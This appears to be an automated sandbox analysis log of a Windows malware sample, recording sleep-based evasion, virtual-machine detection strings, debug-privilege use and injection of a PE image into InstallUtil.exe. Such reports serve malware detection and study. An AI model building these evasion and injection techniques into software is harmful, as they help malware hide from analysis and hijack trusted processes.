Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997608	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997156	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Window / User API: threadDelayed 2402	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Window / User API: threadDelayed 3996	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2649	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7168	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99774s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99433s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99323s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -98999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe TID: 4544	Thread sleep time: -98874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21848	Thread sleep count: 2649 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21848	Thread sleep count: 7168 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98440s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -98093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97756s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -97390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999822s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999717s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119999046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998499s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119998046s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997827s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997608s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997499s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997390s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 21940	Thread sleep time: -119997156s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99774	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99433	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99323	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 98999	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Thread delayed: delay time: 98874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98440	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97756	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999822	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999717	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119999046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119998046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997827	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997608	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 119997156	Jump to behavior

Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A7739000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <!--Blazor:{"sequence":0,"type":"server","prerenderId":"aa1a575cbec548a7be2c9454bf9c5c8c","descriptor":"CfDJ8F35l7Q5115HrKaUravmtosan6tHm30UpUjAejuIK211/3t2Fg2pGam0A5Cie35xqWJvVnZ5BQKiPlNa94nIv/HAk21iW3buPqV8EYBssGFt8naL64Qv1t0boVf3uBevZM9jX/yxwDnXvtkq/X4LU4EtEtXNL/PPau4/\u002Bl8rP\u002BWqbNH\u002Bhghe5Z7IlR7HPqsV9A6VE\u002B3ZBNcdYy9W/HoU8TFOejFaeWgQrMFv8kz8U0z/FSMo2W49amDC6fpH2eP2klTAqApEmesieSfkHvxec2qWDdJWjbBt6I1KyFI/5NHutcBcGcdnWYCCBuGtTbQFazhFKr4q8bNJrdCrUWi9ylBdFQzDVW1Halb\u002BXb1\u002B4HgfsDg59HcFGmZ61T539BjEzJvqPkn2vIOEdZQC\u002B7K/SvbdnX6IxnEzb0j8e0xgb1dp"}--><title>65d7a62047719422e5d0b85e</title><!--Blazor:{"prerenderId":"aa1a575cbec548a7be2c9454bf9c5c8c"}-->
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: n1KVzXM8Wk.exe, 00000000.00000002.2436168207.00000119AC6B7000.00000004.00000020.00020000.00000000.sdmp, n1KVzXM8Wk.exe, 00000000.00000002.2449218733.00000119AE0A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: n1KVzXM8Wk.exe, 00000000.00000002.2078804365.00000119920F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWppk
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: n1KVzXM8Wk.exe, 00000000.00000002.2081033615.0000011995209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: InstallUtil.exe, 00000005.00000002.2985158869.00000000067B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: n1KVzXM8Wk.exe, GetOrCreateEventHandlegetNativeErrorCode.cs	Reference to suspicious API methods: RuntimeHelpers.GetObjectValue(VirtualProtect(IEnumerablegetTwoDigitYearMax, WriteAsyncInternald64bytes, getHighMemoryLoadThresholdBytesAssociates, out TargetTypeNameChar8))
Source: n1KVzXM8Wk.exe, GetOrCreateEventHandlegetNativeErrorCode.cs	Reference to suspicious API methods: RuntimeHelpers.GetObjectValue(GetProcAddress((IntPtr)Int16BitsToHalfPrint, setAccessIsLittleEndian))
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, oZQpaCyO4.cs	Reference to suspicious API methods: sHbn6juxSv.OpenProcess(ZHKsyD.DuplicateHandle, bInheritHandle: true, (uint)gmSjiIkP2.ProcessID)

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 11EA008	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Users\user\Desktop\n1KVzXM8Wk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
